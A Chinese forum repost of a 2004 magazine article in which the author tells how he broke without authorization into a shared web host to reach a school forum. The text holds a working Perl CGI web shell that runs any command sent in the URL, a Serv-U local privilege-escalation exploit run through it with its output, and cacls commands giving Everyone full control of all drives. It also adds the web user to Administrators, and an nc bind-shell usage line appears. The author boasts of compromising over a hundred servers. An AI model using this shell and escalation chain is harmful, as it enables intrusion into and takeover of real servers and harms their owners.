找回密码
 立即注册
查看: 2803|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击 1 r/ h; A) [3 B* c7 Y
本文作者:angel: E$ s! E: M2 t; ~4 T
文章性质:原创/ c7 Y- @8 y7 n* G
发布日期:2004-11-09 6 i& U) F9 f/ k& r: L" ^( z) \% T% F
注意:
0 s2 j! b; e) n0 ^- K本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
( z6 o6 N, ]+ P5 u8 u本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。8 G9 o/ I- c7 c0 }) ?

. ~3 K' E6 |; B8 ~# e  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 3 W; t8 A9 t  [- u6 z* `7 q0 S

5 N+ Q& t# l  r+ F& M7 m$ d  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
0 @  j( E# m, x) q3 v/ ]$ r6 w# W/ F  W2 @/ T- q6 i1 M1 P6 |4 C1 Y8 o
  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
' ?& P' ?  a( z
  \: k4 o+ }. \* q) ]$ d" ~1 C* r  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 6 `) y: Q' o; V& U' H8 r; q

7 j* [5 a5 I, h8 j* h  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
4 g$ o0 I' B, h# U) i, t5 l) `! d- V2 M  Q
  没有目的的跳转目录着…… . A( ]! n/ S* O9 P" U& l

. ^) R) x# [! G6 R  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
* X) A7 _6 y8 i$ J- C( k/ @
! a  a' h* w/ a  结束了吗?不,我试着 FTP 一下:
: }# W% B7 i$ S, I+ Z$ n
7 J5 y  \5 [% x5 N. G, fMicrosoft Windows 2000 [Version 5.00.2195]
& w; H2 v2 K" Q! Z" l9 s(C) 版权所有 1985-2000 Microsoft Corp.
1 B$ y) Q! O  a
- [- v4 t6 A/ ^; h9 `C:\Documents and Settings\Administrator>ftp www.school.com
8 A' u( u. i- i; fConnected to www. school.com.
+ W( y3 l; `; y* A* I3 x220 Welcome to FTP Server...
2 ^% }. r6 B/ d" Z$ g$ H  gUser (www.bjtrq.com:(none)): # m. F( Y& M: Y/ P
331 User name okay, need password. 9 r! x8 A2 y- A
Password:
) r/ y* [4 `. w# Y8 V) g530 Not logged in. : T, R3 A# ^0 Z( p4 M9 `& u
Login failed. / e+ E3 I4 _' p1 o2 p, e- T7 a
ftp> bye # _% K% i( {& p
221 Goodbye! " O1 B$ `$ f9 O6 E
6 g7 Y5 P+ d0 W. N+ y
  P1 x; F; M& {, J1 I8 l% E' k( E
  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… / \' G6 V7 `4 V

, {# Q% j& T0 _2 k1 N  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。   n( ~( V; B) q' a& `9 q0 V

; {: a. S; X2 c7 e2 V& {) DApplication Data8 m9 ~8 \! P, W: C" ?
Documents
- ^) Z' b9 u3 t- `) X3 u. JDRM4 d2 K+ G5 T' S( ]7 _; B' K( n
Favorites
& s" I" Y' f  }  P) y( G  J; h- UTemplates0 T  I3 v& u. `, ?
「开始」菜单
' d) t! e/ G  |0 `8 v桌面
; ?. T$ \6 ^; }2 r8 q( B" D2 ^
! w& g1 i1 n' B9 p0 w0 X* q, V- |! L; e3 c% I6 X' n
  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
" z+ f, v; [  R, U5 y+ Y/ }  D% B0 ?. N' l* v; D# c6 s( W
ActiveState ActivePerl 5.8! E+ f/ P6 o% _' B$ C! X0 F
Administrative Tools
" \3 w& g' o' S2 MDeerfield.com4 a0 r/ g- I. J
DTemp( e0 W1 H* [  N: B2 ?) G* \3 P
IPSentry- B( V* k1 v+ `! w; u3 v
MBM 5$ ~# u4 K: M. z: a; s9 F: _
NetMeter
" i  `+ ~* S- U0 P! ONetwork ICE" X4 y3 l* [. v* r! P) N! [. w! Z
Persits Software AspEmail
) D7 |) U. u! NPersits Software AspJpeg0 b, R, Y2 _! ]) E9 [+ F6 X
Serv-U FTP Server4 r7 z" h2 @  B6 F2 x# j3 j/ x
Symantec Client Security& k( _! N" F, a; r& v5 V& R
Windows 优化大师9 R% H) x! @7 m% |/ }5 c* y9 o
WinRAR; y. j5 D* F2 l: _! V
启动& B8 m) N0 u; N! [" c% R
管理工具
; G/ i1 ^8 l: U9 o+ W1 q附件
0 Y0 M5 N# t/ G0 P: `* ~9 \4 @5 } " _& P6 E) y! C! q- W3 M
. C: r+ }0 C* E. k5 z8 A3 l5 I
  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 - p+ n* n( s6 {8 z

. H7 S( T5 ~: q  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
" |9 Z( p2 c5 H/ z
9 X) q+ M! n2 m# H# p5 \User281=angel|1|0 4 g4 a3 L5 g2 e" e; J6 l- N
  w2 ^) Y- e2 q. H; T

' h! @- g9 P" `. c/ c* }  然后加上 3 b" x0 I6 n4 V5 x' _

* s. D! e5 }4 N- P0 R8 k[USER=angel|1]
  d5 `, H' r6 v: ]9 rPassword=ng98F85379EA68DBF97BAADCA99B69B805% Y$ h, x% u$ q' U6 Y5 e$ a. n
HomeDir=D:\websites( V) D. Q* W, Y+ f
RelPaths=1
4 L8 w+ g) l) j, R8 [1 ~TimeOut=600
! y! j4 K( _7 \; f2 e& H" |% }Maintenance=System
5 N; J8 m5 G7 J6 wAccess1=D:\websites|RWAMELCDP$ z: E/ z8 o2 O) v, k& v
SKEYValues=
# g% k$ p7 ~' [" f# [, \, C7 d) k
# m: l( V) f6 ^4 Q$ ]% _
7 ]' f' Z- w7 H  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
) y9 r4 O# L+ W* |
: f5 v. C3 x, w, C- w7 U& ^5 C  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 . j& u) z! j( o& l
, N2 U! l( w  b0 a. a. ]- w
  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
) l6 M$ ^) z3 D( v  h  }% a9 v. |; L  A  Z* P. t9 w) X  c0 \8 I2 z$ z
  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: . B$ r, f$ L1 [# f
) e) G  Z1 P& B! H) z) D
#!/usr/bin/perl
' d6 ~- ]& i# X3 v5 z: ~binmode(STDOUT);. Z& N0 n8 g. X' C
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
7 q7 f7 m+ z/ b5 `$_ = $ENV{QUERY_STRING};4 W6 b: d7 o2 r$ J% ]7 q
s/%20/ /ig;
+ n% x0 c7 _5 A  ?3 Ws/%2f/\//ig;6 ^& y: }+ D& u  R9 `, d' @
$execthis = $_;6 ?; |5 d' l  p- @1 K2 M7 \( n
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);" o) D8 |" g! S
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";) [5 A/ ]6 b: s; ~4 f: d6 q; J, D
system($execthis);
4 E9 y$ |( x  w  L1 C" r0 Ksyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);* p" s# m' _% e- F9 U7 O" ?
close(STDERR);! d" H  X0 Q. B) a$ J
close(STDOUT);; \1 Y" s# c8 \+ L
exit;
7 `0 t. _& U% a' J6 [
* N0 G' Y6 a2 |+ v7 D7 t
9 v7 J% `! X; s  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! " W6 R& L& z. S2 X  x

) z- D- v( X0 \0 v/ G  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: + c7 J7 L3 u1 i0 w9 Y6 ?
; R, c" n  ?# z  h0 L- Q
http://anyhost//cmd.pl?d:\user\bin\su.exe
( q5 }. S4 K$ O7 e7 h9 S2 B # r- J7 k+ s0 N. B! A
+ s/ B0 d: E7 _, A8 U, G
  返回:
/ a) V" E" @5 X+ d
* M; V% `& E  J- a5 {- ?# GServ-u >3.x Local Exploit by xiaolu
. r: T1 `* w+ o
  @/ T, @! W9 e+ U5 fUSAGE: serv-u.exe "command"
! M* ?4 y! @" h; f$ {* z: G% d# V
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
1 }9 l: b9 x6 p
! I) i2 m3 s* v0 `$ F7 \0 u9 y  \" k* h0 O6 o& Y6 p5 n
  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
% ~8 K1 }! u) I! E4 l! H% k* P
0 M5 {' b4 O5 t: A% A7 l4 Chttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" # Q2 P' w) r/ J/ C0 A3 q# @5 ^

+ E, x0 _: r' l3 fhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
, W, K. g7 }: l! E6 r% Q* \9 i8 m* C2 Z' `" w: f0 N/ Z
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
4 Z! _# @  v' R' `. ]( M2 J5 Q
- Y' W$ K/ R) [; g! hhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
0 |- Q1 }; K" w- f
+ x4 j% _  D3 K+ ?1 V9 b! l
2 G  u6 |* ^0 t% {7 M' W' o  返回下面的信息,就表示成功了!!! % t  |* v( p  \. t+ M( Z

7 D4 _6 i4 O2 n' |; \/ E4 R7 zServ-u >3.x Local Exploit by xiaolu
9 k! L  g  x3 `; C
0 ~, u9 m6 k6 z<220 Serv-U FTP Server v5.2 for WinSock ready...
1 X8 y" z& f) W- ]' N4 U: I& A3 w" `8 n7 z
>USER LocalAdministrator 3 [7 S% |, I, i9 v  q

) r) }" {8 Y5 t- j$ L/ h3 x% Y<331 User name okay, need password. / p6 I2 u3 }; [! f1 t

( m2 U% T$ s( B% X/ _4 h7 v******************************************************
+ S5 M- {8 Z6 k( W) [1 @3 f3 L4 `
6 r/ Q/ D! R! P9 N/ h* a5 I* {0 b- i>PASS #l@$ak#.lk;0@P
! s/ A$ C1 L6 n; b1 Z& N  r8 X7 e8 t9 ~
<230 User logged in, proceed.
8 n- T, t* y7 \" J! f5 F8 \
7 b+ p, @- H# Q) K: F  o****************************************************** 0 O/ m$ W* U  o3 a

" H8 _& N/ C  c0 K0 I/ ^>SITE MAINTENANCE . n3 r( }4 A# L4 c& p

+ Q# K, F+ |/ E6 R: Q- L& I9 I$ S' e****************************************************** ( P: S9 u( O1 T% B- D
# [1 t! b' ]) X4 h! {
[+] Creating New Domain...
* ^8 p) I$ I7 G. ^; u) O/ P& W7 G" _! |  i
<200-DomainID=2
% M2 g  f) i$ B1 L9 X( r. }: l0 B' F2 q, f, F" P
<220 Domain settings saved
& c; }2 w2 o! i' ~  M4 A; h/ K6 w" ?6 z
****************************************************** ! s6 I# |0 c6 Y

7 W* l2 q' [1 K, ~6 Z, B3 o7 l[+] Domain xl:2 Created " `7 U+ z. B5 Q$ K; A7 F; Z
% x9 Z0 j. A$ i8 [. A1 a7 |5 E% j& V& F- Z
[+] Creating Evil User + P5 o5 i+ G+ J2 r$ w# w( p* x- }

: [# ]& c# A7 N9 g: m<200-User=xl 4 U' s* T, a; ~* t1 r# c
. Z& K3 D, j# d: W/ G6 m9 E
200 User settings saved
* w: j; U7 c" |
8 |: C9 t/ |8 U1 ~& l# I******************************************************
0 M6 P! q$ @$ v% w7 ~$ Y
1 x5 T; i6 u9 e# F' [[+] Now Exploiting... $ c* A" x* Y% X8 z( J4 @9 R

- @- P) K9 u' H4 y9 K5 v>USER xl
% ^& {3 P4 R# ~1 @
! O1 v# S5 j' N- }) U8 k; A/ q8 G7 h# G<331 User name okay, need password.
2 ^4 @# G; ~0 q+ D$ \! {
& S, r4 Z) @  y; A******************************************************
1 F0 h2 L: y5 ~6 R% Y2 Z1 a$ f% c& @. r; z! S; Y& Q
>PASS 111111 * }3 i, ~: r6 _  j

! M; J. r6 x9 Q- H- Z<230 User logged in, proceed.
8 P0 H+ {9 A* _6 `6 g0 V$ Q% Y" F- y' K. s. x- Q: y2 B6 G$ G: s
****************************************************** 9 c& R9 E  y6 ~# G% D3 {1 ?

4 A$ G. D. V5 ~5 h[+] Now Executing: cacls.exe c: /E /T /G everyone:F
' I3 q- m( l' @  ^3 Q
) ~' B2 y/ t, b+ C3 Z<220 Domain deleted
" ?& D8 I8 W0 K: F
, C9 R/ ^2 m$ T******************************************************
+ M( X1 h' m. k1 H; F   e, i- v2 P, u( v; W0 y# ?

! J3 m2 n3 b0 c' J  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
+ Q/ ~0 b% Y$ T- y+ h: r% k0 I  Q7 N- D
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
. M1 n8 l# S6 }7 I
; v$ e: F7 {1 a0 y  ^: f! r2 s8 Q0 g: u& a
  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 5 \& F/ \( u1 _' y8 V% a2 q5 X$ ?
. x  I+ o1 }  }6 p8 W7 m
  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
8 L, f" k6 I2 w& G, @- j( K 8 B- j- \# j  |/ e" n  \; K
  1 {; l, S0 A& T) K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表